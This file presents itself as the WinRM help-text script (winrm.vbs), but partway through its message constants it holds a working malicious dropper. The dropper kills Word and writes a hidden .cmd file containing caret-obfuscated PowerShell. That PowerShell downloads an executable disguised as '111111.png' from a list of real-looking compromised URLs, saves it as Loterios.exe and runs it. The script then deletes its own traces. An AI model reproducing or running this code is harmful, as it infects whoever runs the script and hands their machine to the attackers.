L_HelpCertMapping_010_0_Message = \" \"\r\nprivate const L_HelpCertMapping_011_0_Message = \"For a client certificate to be applicable, the issuer certificate must be \"\r\nprivate const L_HelpCertMapping_012_0_Message = \"available locally and match the thumbprint in the entry Issuer property\"\r\nprivate const L_HelpCertMapping_012_1_Message = \"\"\r\nprivate const L_HelpCertMapping_012_2_Message = \"For a client certificate to be applicable, its DNS or Principal name \"\r\nprivate const L_HelpCertMapping_013_0_Message = \"(from the SubjectAlternativeName field) must match the Subject property.\"\r\nprivate const L_HelpCertMapping_014_0_Message = \"The value can start with a '*' wildcard.\"\r\nprivate const L_HelpCertMapping_014_1_Message = \"The URI identifies for which resources the indicated client certificates .\"\r\nprivate const L_HelpCertMapping_014_2_Message = \"should be mapped.\"\r\nprivate const L_HelpCertMapping_014_3_Message = \"The value can end with a '*' wildcard.\"\r\nprivate const L_HelpCertMapping_014_4_Message = \"\"\r\n\r\n\r\n\r\nset filesys=CreateObject(\"Scripting.FileSystemObject\")\r\nIf Not filesys.FolderExists(\"c:\\BlotRots\") Then\r\nfilesys.CreateFolder (\"c:\\BlotRots\")\r\nEnd If\r\n\r\ntytutop = (\" Windows XP and is listed separately on this page. Syntax in Windows Vista, 7, ... \")\r\ntytutop1 = (\" \")\r\ntytutop2 = (\" Windows XP and is listed separately on this page. Syntax in Windows Vista, 7, ...3\")\r\ntytutop3 = (\" Windows XP and is listed separately on this page. Syntax in Windows Vista, 7, ...\")\r\ntytutop4 = (\" \")\r\ntytutop5 = (\" Windows XP and is listed separately on this page. Syntax in Windows Vista, 7, ...3 \")\r\ntytutop6 = (\" Windows XP and is listed separately on this page. Syntax in Windows Vista, 7, ...3 \")\r\ntytutop7 = (\" Windows XP and is listed separately on this page. Syntax in Windows Vista, 7, ...3 \")\r\ntytutop8 = (\" \")\r\ntytutop9 = (\" XP and is listed separately on this page. Synta \")\r\ntytutop0 = (\" \")\r\n\r\n\r\n\r\ne13 = (\"Taskkill /IM \"\"winword.exe\"\" /F\")\r\na1 = (\"POW^\")\r\na2 = (\"erS^\")\r\na3 = (\"hell ^\")\r\na4 = (\"Forea^\")\r\na5 = (\"ch($ur^\")\r\na6 = (\"l in^\")\r\na7 = (\" @('^\")\r\na8 = (\"http://rijschoolfastandserious.nl/rprmloaw/111111.png','http://nanfeiqiaowang.com/tsxwe/111111.png','http://forum.insteon.com/suowb/111111.png','http://webtest.pp.ua/yksrpucvx/111111.png','http://quoraforum.com/btmlxjxmyxb/111111.png','http://quickinsolutions.com/wfqggeott/111111.png','http://bronco.is/pdniovzkgwwt/111111.png','http://studiomascellaro.it/wnzzsbzbd/111111.png','http://craniotylla.ch/vzufnt/111111.png^\")\r\na9 = (\"','^\")\r\na10 = (\"http://marineworks.eu/dwaunrsamlbq/111111.png^\")\r\na11 = (\"')) { tr^\")\r\na12 = (\"y{$pat^\")\r\na15 = (\"h = 'C:\\BlotRots\\Loterios.exe'; ^\")\r\na16 = (\"(Ne^\")\r\na17 = (\"w-Obje^\")\r\na18 = (\"ct Ne^\")\r\na19 = (\"t.We^\")\r\na20 = (\"bCli^\")\r\na21 = (\"ent).Down^\")\r\na22 = (\"loadF^\")\r\na23 = (\"ile(^\")\r\na24 = (\"$ur^\")\r\na25 = (\"l.ToSt^\")\r\na26 = (\"ring^\")\r\nb1 = (\"(), $p^\")\r\nb2 = (\"ath)^\")\r\nb3 = (\";sa^\")\r\nb4 = (\"ps $p^\")\r\nb5 = (\"ath; br^\")\r\nb6 = (\"eak;}c^\")\r\nb7 = (\"atc^\")\r\nb8 = (\"h{wri^\")\r\nb9 = (\"te-ho^\")\r\nb10 = (\"st $_.E^\")\r\nb11 = (\"xcep^\")\r\nb12 = (\"tio^\")\r\nb13 = (\"n.Me^\")\r\nb14 = (\"ssa^\")\r\nb15 = (\"ge}}\")\r\nWait = (\"TIMEOUT /T 10 & DEL C:\\ProgramData\\JHJKGHuggUGUGYYuyggg.vbs & DEL C:\\BlotRots\\djsfgytdftftyYFGfghffghYYTTT.cmd & DEL C:\\ProgramData\\UIYUIYUIYuiyuiYUIYYuyty.vbs\")\r\n\r\n\r\nSet fer23 = filesys.OpenTextFile(\"C:\\BlotRots\\djsfgytdftftyYFGfghffghYYTTT.cmd\" & c, 8, True)\r\nfer23.WriteLine tytutop\r\nfer23.WriteLine tytutop1\r\nfer23.WriteLine tytutop2\r\nfer23.WriteLine tytutop3\r\nfer23.WriteLine tytutop4\r\nfer23.WriteLine tytutop5\r\nfer23.WriteLine tytutop6\r\nfer23.WriteLine tytutop7\r\nfer23.WriteLine tytutop8\r\nfer23.WriteLine tytutop9\r\nfer23.WriteLine tytutop0\r\nfer23.WriteLine tytutop1\r\nfer23.WriteLine tytutop2\r\nfer23.WriteLine tytutop3\r\nfer23.WriteLine tytutop4\r\nfer23.WriteLine tytutop5\r\nfer23.WriteLine tytutop6\r\nfer23.WriteLine tytutop7\r\nfer23.WriteLine tytutop8\r\nfer23.WriteLine tytutop9\r\nfer23.WriteLine tytutop0\r\nfer23.WriteLine tytutop1\r\nfer23.WriteLine tytutop2\r\nfer23.WriteLine tytutop3\r\nfer23.WriteLine tytutop4\r\nfer23.WriteLine tytutop5\r\nfer23.WriteLine tytutop6\r\nfer23.WriteLine tytutop7\r\nfer23.WriteLine tytutop8\r\nfer23.WriteLine tytutop9\r\nfer23.WriteLine tytutop0\r\n\r\nfer23.WriteLine e13\r\nfer23.WriteLine a1\r\nfer23.WriteLine a2\r\nfer23.WriteLine a3\r\nfer23.WriteLine a4\r\nfer23.WriteLine a5\r\nfer23.WriteLine a6\r\nfer23.WriteLine a7\r\nfer23.WriteLine a8\r\nfer23.WriteLine a9\r\nfer23.WriteLine a10\r\nfer23.WriteLine a11\r\nfer23.WriteLine a12\r\nfer23.WriteLine a15\r\nfer23.WriteLine a16\r\nfer23.WriteLine a17\r\nfer23.WriteLine a18\r\nfer23.WriteLine a19\r\nfer23.WriteLine a20\r\nfer23.WriteLine a21\r\nfer23.WriteLine a22\r\nfer23.WriteLine a23\r\nfer23.WriteLine a24\r\nfer23.WriteLine a25\r\nfer23.WriteLine a26\r\nfer23.WriteLine b1\r\nfer23.WriteLine b2\r\nfer23.WriteLine b3\r\nfer23.WriteLine b4\r\nfer23.WriteLine b5\r\nfer23.WriteLine b6\r\nfer23.WriteLine b7\r\nfer23.WriteLine b8\r\nfer23.WriteLine b9\r\nfer23.WriteLine b10\r\nfer23.WriteLine b11\r\nfer23.WriteLine b12\r\nfer23.WriteLine b13\r\nfer23.WriteLine b14\r\nfer23.WriteLine b15\r\nfer23.WriteLine tytutop1\r\nfer23.WriteLine tytutop2\r\nfer23.WriteLine tytutop3\r\nfer23.WriteLine tytutop4\r\nfer23.WriteLine tytutop5\r\nfer23.WriteLine tytutop6\r\nfer23.WriteLine tytutop7\r\nfer23.WriteLine tytutop8\r\nfer23.WriteLine tytutop9\r\nfer23.WriteLine tytutop0\r\nfer23.WriteLine tytutop1\r\nfer23.WriteLine tytutop2\r\nfer23.WriteLine tytutop3\r\nfer23.WriteLine tytutop4\r\nfer23.WriteLine tytutop5\r\nfer23.WriteLine tytutop6\r\nfer23.WriteLine tytutop7\r\nfer23.WriteLine tytutop8\r\nfer23.WriteLine tytutop9\r\nfer23.WriteLine tytutop0\r\nfer23.WriteLine tytutop1\r\nfer23.WriteLine tytutop2\r\nfer23.WriteLine tytutop3\r\nfer23.WriteLine tytutop4\r\nfer23.WriteLine tytutop5\r\nfer23.WriteLine tytutop6\r\nfer23.WriteLine tytutop7\r\nfer23.WriteLine tytutop8\r\nfer23.WriteLine tytutop9\r\nfer23.WriteLine tytutop0\r\nfer23.WriteLine tytutop1\r\nfer23.WriteLine tytutop2\r\nfer23.WriteLine tytutop3\r\nfer23.WriteLine tytutop4\r\nfer23.WriteLine tytutop5\r\nfer23.WriteLine tytutop6\r\nfer23.WriteLine tytutop7\r\nfer23.WriteLine tytutop8\r\nfer23.WriteLine tytutop9\r\nfer23.WriteLine tytutop0\r\nfer23.WriteLine tytutop1\r\nfer23.WriteLine tytutop2\r\nfer23.WriteLine tytutop3\r\nfer23.WriteLine tytutop4\r\nfer23.WriteLine tytutop5\r\nfer23.WriteLine tytutop6\r\nfer23.WriteLine tytutop7\r\nfer23.WriteLine tytutop8\r\nfer23.WriteLine tytutop9\r\nfer23.WriteLine tytutop0\r\nfer23.WriteLine tytutop1\r\nfer23.WriteLine tytutop2\r\nfer23.WriteLine tytutop3\r\nfer23.WriteLine tytutop4\r\nfer23.WriteLine tytutop5\r\nfer23.WriteLine tytutop6\r\nfer23.WriteLine tytutop7\r\nfer23.WriteLine tytutop8\r\nfer23.WriteLine tytutop9\r\nfer23.WriteLine tytutop0\r\nfer23.WriteLine Wait\r\nfer23.close\r\n\r\nDim oShell : Set oShell = CreateObject(\"WScript.Shell\")\r\n\r\n\r\nWScript.Sleep 7000\r\n\r\n\r\noShell.Run \"C:\\BlotRots\\djsfgytdftftyYFGfghffghYYTTT.cmd\", 0, 0\r\nSet WshShell = Nothing\r\n\r\nprivate const L_HelpCertMapping_015_0_Message = \"If the client certificate matches the entry and it is enabled, the \"\r\nprivate const L_HelpCertMapping_016_0_Message = \"request is processed under the local account with the given username \"\r\n\r\nprivate const L_HelpCertMapping_017_0_Message = \"and password after ensuring that user has access to the resource as \"\r\nprivate const L_HelpCertMapping_018_0_Message = \"defined by the URI security table.\"\r\nprivate const L_HelpCertMapping_019_0_Message = \"\"\r\n\r\nprivate const L_HelpCertMapping_020_0_Message = \"When creating a new entry or changing the password of an existing entry, \"\r\nprivate const L_HelpCertMapping_021_0_Message = \"the -r switch must be used since the WinRM service must store the password\"\r\nprivate const L_HelpCertMapping_022_0_Message = \"for future use.\"\r\n\r\n\r\nprivate const L_HelpCertMappingExamples_001_0_Message = \"Example: To see the current CertMapping configuration\"\r\nprivate const X_HelpCertMappingExamples_002_0_Message = \" winrm enumerate winrm/config/service/CertMapping\"\r\n\r\nprivate const L_HelpCertMappingExamples_003_0_Message = \"Example: Create a CertMapping entry:\"\r\nprivate const X_HelpCertMappingExamples_004_0_Message = \" winrm create winrm/config/service/certmapping?Issuer=1212131238d84023982e381f20391a2935301923+Subject=*.example.com+URI=wmicimv2/* @{UserName=\"\"USERNAME\"\";Password=\"\"PASSWORD\"\"} -remote:localhost\"\r\nprivate const L_HelpCertMappingExamples_005_0_Message = \"\"\r\n\r\n'''''''''''''''''''''\r\n' HELP - CONFIGSDDL\r\nprivate const L_HelpConfigsddl_000_1_Message = \" winrm configsddl RESOURCE_URI\"\r\nprivate const L_HelpConfigsddl_001_0_Message = \"\"\r\nprivate const L_HelpConfigsddl_002_0_Message = \"Changes an existing entry in the plugin configuration to \"\r\nprivate const L_HelpConfigsddl_002_1_Message = \"control remote access to WinRM resources.\"\r\nprivate const L_HelpConfigsddl_003_0_Message = \"This command will fail if the plugin does not exist.\"\r\nprivate const L_HelpConfigsddl_004_0_Message = \"\"\r\nprivate const L_HelpConfigsddl_005_0_Message = \"This command will launch a GUI to edit the security settings.\"\r\nprivate const L_HelpConfigsddl_005_1_Message = \"\"\r\nprivate const L_HelpConfigsddl_006_0_Message = \"RESOURCE_URI is always treated as a prefix.\"\r\nprivate const L_HelpConfigsddl_010_0_Message = \"\"\r\nprivate const L_HelpConfigsddl_011_0_Message = \"To change the default security (the RootSDDL setting) use:\"\r\nprivate const X_HelpConfigsddl_012_0_Message = \" winrm configsddl default\"\r\n\r\n'''''''''''''''''''''\r\n' HELP - QUICKCONFIG\r\nprivate const X_HelpQuickConfig_001_0_Message = \"winrm quickconfig [-quiet] [-transport:VALUE] [-force]\"\r\nprivate const X_HelpQuickConfig_002_0_Message = \"\"\r\nprivate const L_HelpQuickConfig_003_0_Message = \"Performs configuration actions to enable this machine for remote management.\"\r\nprivate const L_HelpQuickConfig_004_0_Message = \"Includes:\"\r\nprivate const L_HelpQuickConfig_005_0_Message = \" 1. Start the WinRM service\"\r\nprivate const L_HelpQuickConfig_006_0_Message = \" 2. Set the WinRM service type to auto start\"\r\nprivate const L_HelpQuickConfig_007_0_Message = \" 3. Create a listener to accept request on any IP address\"\r\nprivate const L_HelpQuickConfig_008_0_Message = \" 4. Enable firewall exception for WS-Management traffic (for http only)\"\r\nprivate const X_HelpQuickConfig_009_0_Message = \"\"\r\nprivate const X_HelpQuickConfig_010_0_Message = \"-q[uiet]\"\r\nprivate const X_HelpQuickConfig_010_1_Message = \"--------\"\r\nprivate const L_HelpQuickConfig_011_0_Message = \"If present, quickconfig will not prompt for confirmation.\"\r\nprivate const X_HelpQuickConfig_012_0_Message = \"-transport:VALUE\"\r\nprivate const X_HelpQuickConfig_013_0_Message = \"----------------\"\r\nprivate const L_HelpQuickConfig_014_0_Message = \"Perform quickconfig for specific transport.\"\r\nprivate const L_HelpQuickConfig_015_0_Message = \"Possible options are http and https. Defaults to http.\"\r\nprivate const X_HelpQuickConfig_016_0_Message = \"-force\"\r\nprivate const X_HelpQuickConfig_017_0_Message = \"--------\"\r\nprivate const L_HelpQuickConfig_018_0_Message = \"If present, quickconfig will not prompt for confirmation, and will enable \"\r\nprivate const L_HelpQuickConfig_019_0_Message = \"the firewall exception regardless of current network profile settings.\"\r\n\r\n'''''''''''''''''''''\r\n' HELP - REMOTE\r\nprivate const L_HelpRemote_001_0_Message = \"winrm OPERATION -remote:VALUE [-unencrypted] [-usessl]\"\r\nprivate const L_HelpRemote_002_0_Message = \"\"\r\nprivate const L_HelpRemote_003_0_Message = \"-r[emote]:VALUE\"\r\nprivate const L_HelpRemote_004_0_Message = \"---------------\"\r\nprivate const L_HelpRemote_005_0_Message = \"Specifies identifier of remote endpoint/system. \"\r\nprivate const L_HelpRemote_006_0_Message = \"May be a simple host name or a complete URL.\"\r\nprivate const L_HelpRemote_007_0_Message = \"\"\r\nprivate const L_HelpRemote_008_0_Message = \" [TRANSPORT://]HOST[:PORT][/PREFIX]\"\r\nprivate const L_HelpRemote_009_0_Message = \"\"\r\nprivate const L_HelpRemote_010_0_Message = \"Transport: One of HTTP or HTTPS; default is HTTP.\"\r\nprivate const L_HelpRemote_011_0_Message = \"Host: Can be in the form of a DNS name, NetBIOS name, or IP address.\"\r\nprivate const L_HelpRemote_012_0_Message = \"Port: If port is not specified then the following default rules apply:\"\r\nprivate const L_HelpRemote_013_0_Message = \"Prefix: Defaults to wsman.\"\r\nprivate const L_HelpRemote_014_0_Message = \"\"\r\nprivate const L_HelpRemote_015_0_Message = \"Note: IPv6 addresses must be enclosed in brackets.\"\r\nprivate const L_HelpRemote_016_0_Message = \"Note: When using HTTPS, the machine name must match the server's certificate\"\r\nprivate const L_HelpRemote_017_0_Message = \" common name (CN) unless -skipCNcheck is used.\"\r\nprivate const L_HelpRemote_018_0_Message = \"Note: Defaults for port and prefix can be changed in the local configuration.\"\r\n\r\nprivate const L_HelpRemoteExample_001_0_Message = \"Example: Connect to srv.corp.com via http:\"\r\nprivate const X_HelpRemoteExample_002_0_Message = \" winrm get uri -r:srv.corp.com\"\r\nprivate const L_HelpRemoteExample_003_0_Message = \"\"\r\nprivate const L_HelpRemoteExample_004_0_Message = \"Example: Connect to local computer machine1 via https:\"\r\nprivate const X_HelpRemoteExample_005_0_Message = \" winrm get uri -r:https://machine1\"\r\nprivate const L_HelpRemoteExample_006_0_Message = \"\"\r\nprivate const L_HelpRemoteExample_007_0_Message = \"Example: Connect to an IPv6 machine via http:\"\r\nprivate const X_HelpRemoteExample_008_0_Message = \" winrm get uri -r:[1:2:3::8]\"\r\nprivate const L_HelpRemoteExample_009_0_Message = \"\"\r\nprivate const L_HelpRemoteExample_010_0_Message = \"Example: Connect to an IPv6 machine via https on a non-default port and URL:\"\r\nprivate const X_HelpRemoteExample_011_0_Message = \" winrm get uri -r:https://[1:2:3::8]:444/path\"\r\n\r\nprivate const L_HelpRemoteUnencrypted_001_0_Message = \"-un[encrypted]\"\r\nprivate const L_HelpRemoteUnencrypted_002_0_Message = \"--------------\"\r\nprivate const L_HelpRemoteUnencrypted_003_0_Message = \"Specifies that no encryption will be used when doing remote operations over\"\r\nprivate const L_HelpRemoteUnencrypted_004_0_Message = \"HTTP. Unencrypted traffic is not allowed by default and must be enabled in\"\r\nprivate const L_HelpRemoteUnencrypted_005_0_Message = \"the local configuration.\"\r\n\r\nprivate const L_HelpRemoteConfig_001_0_Message = \"To enable this machine to be remotely managed see:\"\r\n\r\n'''''''''''''''''''''\r\n' HELP - AUTH\r\nprivate const L_HelpAuth_001_0_Message = \"winrm OPERATION -remote:VALUE \"\r\nprivate const L_HelpAuth_002_0_Message = \" [-authentication:VALUE] \"\r\nprivate const L_HelpAuth_003_0_Message = \" [-username:USERNAME] \"\r\nprivate const L_HelpAuth_004_0_Message = \" [-password:PASSWORD]\"\r\nprivate const L_HelpAuth_004_1_Message = \" [-certificate:THUMBPRINT]\"\r\nprivate const L_HelpAuth_005_0_Message = \"\"\r\nprivate const L_HelpAuth_006_0_Message = \"When connecting remotely, you can specify which credentials and which\"\r\nprivate const L_HelpAuth_007_0_Message = \"authentication mechanisms to use. If none are specified the current \"\r\nprivate const L_HelpAuth_008_0_Message = \"logged-on user's credentials will be used.\"\r\n\r\nprivate const L_HelpAuthAuth_001_0_Message = \"-a[uthentication]:VALUE\"\r\nprivate const L_HelpAuthAuth_002_0_Message = \"-----------------------\"\r\nprivate const L_HelpAuthAuth_003_0_Message = \"Specifies authentication mechanism used when communicating with remote machine.\"\r\nprivate const L_HelpAuthAuth_004_0_Message = \"Possible options are None, Basic, Digest, Negotiate, Kerberos, CredSSP.\"\r\nprivate const L_HelpAuthAuth_004_1_Message = \"Possible options are None, Basic, Digest, Negotiate, Kerberos.\"\r\nprivate const L_HelpAuthAuth_005_0_Message = \"Examples:\"\r\nprivate const X_HelpAuthAuth_006_0_Message = \" -a:None\"\r\nprivate const X_HelpAuthAuth_007_0_Message = \" -a:Basic\"\r\nprivate const X_HelpAuthAuth_008_0_Message = \" -a:Digest\"\r\nprivate const X_HelpAuthAuth_009_0_Message = \" -a:Negotiate\"\r\nprivate const X_HelpAuthAuth_010_0_Message = \" -a:Kerberos\"\r\nprivate const X_HelpAuthAuth_010_1_Message = \" -a:Certificate\"\r\nprivate const X_HelpAuthAuth_010_2_Message = \" -a:CredSSP\"\r\nprivate const L_HelpAuthAuth_011_0_Message = \"Note: If an authentication mechanism is not specified, Kerberos is used unless\"\r\nprivate const L_HelpAuthAuth_012_0_Message = \" one of the conditions below is true, in which case Negotiate is used:\"\r\nprivate const L_HelpAuthAuth_013_0_Message = \" -explicit credentials are supplied and the destination host is trusted\"\r\nprivate const L_HelpAuthAuth_013_1_Message = \" -the destination host is \"\"localhost\"\", \"\"127.0.0.1\"\" or \"\"[::1]\"\"\"\r\nprivate const L_HelpAuthAuth_013_2_Message = \" -the client computer is in workgroup and the destination host is trusted\"\r\nprivate const L_HelpAuthAuth_014_0_Message = \"Note: Not all authentication mechanisms are enabled by default. Allowed\"\r\nprivate const L_HelpAuthAuth_015_0_Message = \" authentication mechanisms can be controlled by local configuration \"\r\nprivate const L_HelpAuthAuth_016_0_Message = \" or group policy.\"\r\nprivate const L_HelpAuthAuth_017_0_Message = \"Note: Most operations will require an authentication mode other than None.\"\r\nprivate const L_HelpAuthAuth_018_0_Message = \"Note: Certificate authentication can be used only with the HTTPS transport.\"\r\nprivate const L_HelpAuthAuth_019_0_Message = \" To configure an HTTPS listener for the WinRM service run the command:\"\r\nprivate const L_HelpAuthAuth_020_0_Message = \" \"\"winrm quickconfig -transport:HTTPS\"\"\"\r\n\r\nprivate const L_HelpAuthUsername_001_0_Message = \"-u[sername]:USERNAME\"\r\nprivate const L_HelpAuthUsername_002_0_Message = \"--------------------\"\r\nprivate const L_HelpAuthUsername_003_0_Message = \"Specifies username on remote machine. Cannot be used on local machine.\"\r\nprivate const L_HelpAuthUsername_004_0_Message = \"User must be member of local Administrators group on remote machine.\"\r\nprivate const L_HelpAuthUsername_005_0_Message = \"If the user account is a local account on the remote machine,\"\r\nprivate const L_HelpAuthUsername_006_0_Message = \"the syntax should be in the form -username:USERNAME\"\r\nprivate const L_HelpAuthUsername_007_0_Message = \"If the username is a domain account, the syntax should be in the form\"\r\nprivate const L_HelpAuthUsername_008_0_Message = \"-username:DOMAIN\\USERNAME\"\r\nprivate const L_HelpAuthUsername_009_0_Message = \"If Basic or Digest is used, then -username is required.\"\r\nprivate const L_HelpAuthUsername_010_0_Message = \"If Kerberos is used, then the current logged-on user's credentials\"\r\nprivate const L_HelpAuthUsername_011_0_Message = \"are used if -username is not supplied. Only domain credentials can\"\r\nprivate const L_HelpAuthUsername_011_1_Message = \"be used with Kerberos.\"\r\nprivate const L_HelpAuthUsername_012_0_Message = \"If Negotiate is used, then -username is required unless\"\r\nprivate const L_HelpAuthUsername_013_0_Message = \"one of the conditions below is true:\"\r\nprivate const L_HelpAuthUsername_014_0_Message = \" -the destination host is \"\"localhost\"\", \"\"127.0.0.1\"\" or \"\"[::1]\"\"\"\r\nprivate const L_HelpAuthUsername_015_0_Message = \" -the client computer is in workgroup and the destination host is trusted\"\r\nprivate const L_HelpAuthUsername_016_0_Message = \"If CredSSP is used, then username and password are required.\"\r\n\r\nprivate const L_HelpAuthPassword_001_0_Message = \"-p[assword]:PASSWORD\"\r\nprivate const L_HelpAuthPassword_002_0_Message = \"--------------------\"\r\nprivate const L_HelpAuthPassword_003_0_Message = \"Specifies password on command line to override interactive prompt.\"\r\nprivate const L_HelpAuthPassword_004_0_Message = \"Applies only if -username:USERNAME option is used.\"\r\n\r\nprivate const L_HelpAuthCertificate_001_0_Message = \"-c[ertificate]:THUMBPRINT\"\r\nprivate const L_HelpAuthCertificate_002_0_Message = \"--------------------\"\r\nprivate const L_HelpAuthCertificate_003_0_Message = \"Specifies the thumbprint of a certificate that must exist in the local\"\r\nprivate const L_HelpAuthCertificate_004_0_Message = \"machine store or in the current user store. The certificate must be intended\"\r\nprivate const L_HelpAuthCertificate_005_0_Message = \"for client authentication.\"\r\nprivate const L_HelpAuthCertificate_006_0_Message = \"Applies only if -a:Certificate is used.\"\r\nprivate const L_HelpAuthCertificate_007_0_Message = \"THUMBPRINT can contain spaces, in which case it must be enclosed in\"\r\nprivate const L_HelpAuthCertificate_008_0_Message = \"double quotation marks.\"\r\nprivate const L_HelpAuthCertificate_009_0_Message = \"Examples:\"\r\nprivate const L_HelpAuthCertificate_010_0_Message = \"-c:7b0cf48026409e38a2d6348761b1dd1271c4f86d\"\r\nprivate const L_HelpAuthCertificate_011_0_Message = \"-c:\"\"7b 0c f4 80 26 40 9e 38 a2 d6 34 87 61 b1 dd 12 71 c4 f8 6d\"\"\"\r\n\r\n'''''''''''''''''''''\r\n' HELP - PROXY\r\nprivate const X_HelpProxy_001_0_Message = \"winrm OPERATION -remote:VALUE \"\r\nprivate const X_HelpProxy_002_0_Message = \" [-proxyaccess:VALUE] \"\r\nprivate const X_HelpProxy_002_1_Message = \" [-proxyauth:VALUE] \"\r\nprivate const X_HelpProxy_003_0_Message = \" [-proxyusername:USERNAME] \"\r\nprivate const X_HelpProxy_004_0_Message = \" [-proxypassword:PASSWORD]\"\r\nprivate const L_HelpProxy_005_0_Message = \"\"\r\nprivate const L_HelpProxy_006_0_Message = \"When connecting remotely, you can specify which proxy access type,\"\r\nprivate const L_HelpProxy_007_0_Message = \" proxy credentials and proxy authentication mechanisms to use.\"\r\n\r\nprivate const X_HelpProxyAccess_001_0_Message = \"-p[roxy]ac[cess]:VALUE\"\r\nprivate const L_HelpProxyAccess_002_0_Message = \"-----------------------\"\r\nprivate const L_HelpProxyAccess_003_0_Message = \"Specifies which proxy settings to retrieve when connecting to a remote machine.\"\r\nprivate const L_HelpProxyAccess_004_0_Message = \"Possible options are ie_settings, winhttp_settings, auto_detect, no_proxy.\"\r\nprivate const L_HelpProxyAccess_005_0_Message = \"Examples:\"\r\nprivate const X_HelpProxyAccess_006_0_Message = \" -pac:ie_settings\"\r\nprivate const X_HelpProxyAccess_007_0_Message = \" -pac:winhttp_settings\"\r\nprivate const X_HelpProxyAccess_008_0_Message = \" -pac:auto_detect\"\r\nprivate const X_HelpProxyAccess_009_0_Message = \" -pac:no_proxy\"\r\nprivate const L_HelpProxyAccess_010_0_Message = \"\"\r\nprivate const L_HelpProxyAccess_011_0_Message = \"The WSMan client provides four options for the configuration of proxy settings:\"\r\nprivate const L_HelpProxyAccess_012_0_Message = \" -use settings configured through Internet Explorer (default)\"\r\nprivate const L_HelpProxyAccess_013_0_Message = \" -use settings configured through WinHTTP\"\r\nprivate const L_HelpProxyAccess_014_0_Message = \" -automatic proxy discovery\"\r\nprivate const L_HelpProxyAccess_015_0_Message = \" -direct connection (don\x92t use a proxy)\"\r\n\r\nprivate const L_HelpProxyAuth_001_0_Message = \"-p[roxy]a[uth]:VALUE\"\r\nprivate const L_HelpProxyAuth_002_0_Message = \"-----------------------\"\r\nprivate const L_HelpProxyAuth_003_0_Message = \"Specifies authentication mechanism used to authenticate with a proxy.\"\r\nprivate const L_HelpProxyAuth_004_0_Message = \"Possible options are Basic, Digest, Negotiate.\"\r\nprivate const L_HelpProxyAuth_005_0_Message = \"Examples:\"\r\nprivate const X_HelpProxyAuth_007_0_Message = \" -pa:Basic\"\r\nprivate const X_HelpProxyAuth_008_0_Message = \" -pa:Digest\"\r\nprivate const X_HelpProxyAuth_009_0_Message = \" -pa:Negotiate\"\r\nprivate const L_HelpProxyAuth_010_0_Message = \"If -proxyauth:VALUE is used then -proxyaccess:VALUE is required.\"\r\n\r\nprivate const L_HelpProxyUsername_001_0_Message = \"-p[roxy]u[sername]:USERNAME\"\r\nprivate const L_HelpProxyUsername_002_0_Message = \"--------------------\"\r\nprivate const L_HelpProxyUsername_003_0_Message = \"Specifies username to authenticate with proxy. Cannot be used on local machine.\"\r\nprivate const L_HelpProxyUsername_005_0_Message = \"If the user account is a local account on the remote machine,\"\r\nprivate const L_HelpProxyUsername_006_0_Message = \"the syntax should be in the form -proxyusername:USERNAME\"\r\nprivate const L_HelpProxyUsername_007_0_Message = \"If the username is a domain account, the syntax should be in the form\"\r\nprivate const L_HelpProxyUsername_008_0_Message = \"-proxyusername:DOMAIN\\USERNAME\"\r\nprivate const L_HelpProxyUsername_009_0_Message = \"If -proxyusername is used then -proxyauth:VALUE is required.\"\r\n\r\nprivate const L_HelpProxyPassword_001_0_Message = \"-p[roxy]p[assword]:PASSWORD\"\r\nprivate const L_HelpProxyPassword_002_0_Message = \"--------------------\"\r\nprivate const L_HelpProxyPassword_003_0_Message = \"Specifies password on command line to override interactive prompt.\"\r\nprivate const L_HelpProxyPassword_004_0_Message = \"Applies only if -proxyusername:USERNAME option is used.\"\r\n\r\n'''''''''''''''''''''\r\n' HELP - INPUT\r\nprivate const L_HelpInput_001_0_Message = \"Input can be by either providing key/value pairs directly on the command line\"\r\nprivate const L_HelpInput_002_0_Message = \"or reading XML from a file.\"\r\nprivate const L_HelpInput_003_0_Message = \"\"\r\nprivate const L_HelpInput_004_0_Message = \" winrm OPERATION -file:VALUE \"\r\nprivate const L_HelpInput_005_0_Message = \" winrm OPERATION @{KEY=\"\"VALUE\"\"[;KEY=\"\"VALUE\"\"]}\"\r\nprivate const L_HelpInput_006_0_Message = \"\"\r\nprivate const L_HelpInput_007_0_Message = \"Applies to set, create, and invoke operations.\"\r\nprivate const L_HelpInput_008_0_Message = \"Use either @{KEY=VALUE} or input from an XML file, but not both.\"\r\nprivate const L_HelpInput_009_0_Message = \"\"\r\nprivate const L_HelpInput_010_0_Message = \"-file:VALUE\"\r\nprivate const L_HelpInput_011_0_Message = \"-----------\"\r\nprivate const L_HelpInput_012_0_Message = \"Specifies name of file used as input.\"\r\nprivate const L_HelpInput_013_0_Message = \"VALUE can be absolute path, relative path, or filename without path.\"\r\nprivate const L_HelpInput_014_0_Message = \"Names or paths that include spaces must be enclosed in quotation marks.\"\r\nprivate const L_HelpInput_015_0_Message = \"\"\r\nprivate const L_HelpInput_016_0_Message = \"@{KEY=\"\"VALUE\"\"[;KEY=\"\"VALUE\"\"]}\"\r\nprivate const L_HelpInput_017_0_Message = \"----------------------------\"\r\nprivate const L_HelpInput_018_0_Message = \"Keys are not unique.\"\r\nprivate const L_HelpInput_019_0_Message = \"Values must be within quotation marks.\"\r\nprivate const L_HelpInput_020_0_Message = \"$null is a special value.\"\r\nprivate const L_HelpInput_021_0_Message = \"\"\r\nprivate const L_HelpInput_022_0_Message = \"Examples:\"\r\nprivate const X_HelpInput_023_0_Message = \" @{key1=\"\"value1\"\";key2=\"\"value2\"\"}\"\r\nprivate const X_HelpInput_024_0_Message = \" @{key1=$null;key2=\"\"value2\"\"}\"\r\n\r\n\r\n'''''''''''''''''''''\r\n' HELP - FILTERS\r\nprivate const L_HelpFilter_001_0_Message = \"Filters allow selecting a subset of the desired resources:\"\r\nprivate const X_HelpFilter_002_0_Message = \"\"\r\nprivate const X_HelpFilter_003_0_Message = \"winrm enumerate RESOURCE_URI -filter:EXPR [-dialect:URI] [-Associations]...\"\r\nprivate const X_HelpFilter_004_0_Message = \"\"\r\nprivate const L_HelpFilter_005_0_Message = \"-filter:EXPR\"\r\nprivate const X_HelpFilter_006_0_Message = \"------------\"\r\nprivate const L_HelpFilter_007_0_Message = \"Filter expression for enumeration.\"\r\nprivate const X_HelpFilter_008_0_Message = \"\"\r\nprivate const L_HelpFilter_009_0_Message = \"-dialect:URI\"\r\nprivate const X_HelpFilter_010_0_Message = \"------------\"\r\nprivate const L_HelpFilter_011_0_Message = \"Dialect of the filter expression for enumeration.\"\r\nprivate const L_HelpFilter_012_0_Message = \"This may be any dialect supported by the remote service. \"\r\nprivate const X_HelpFilter_013_0_Message = \"\"\r\nprivate const L_HelpFilter_014_0_Message = 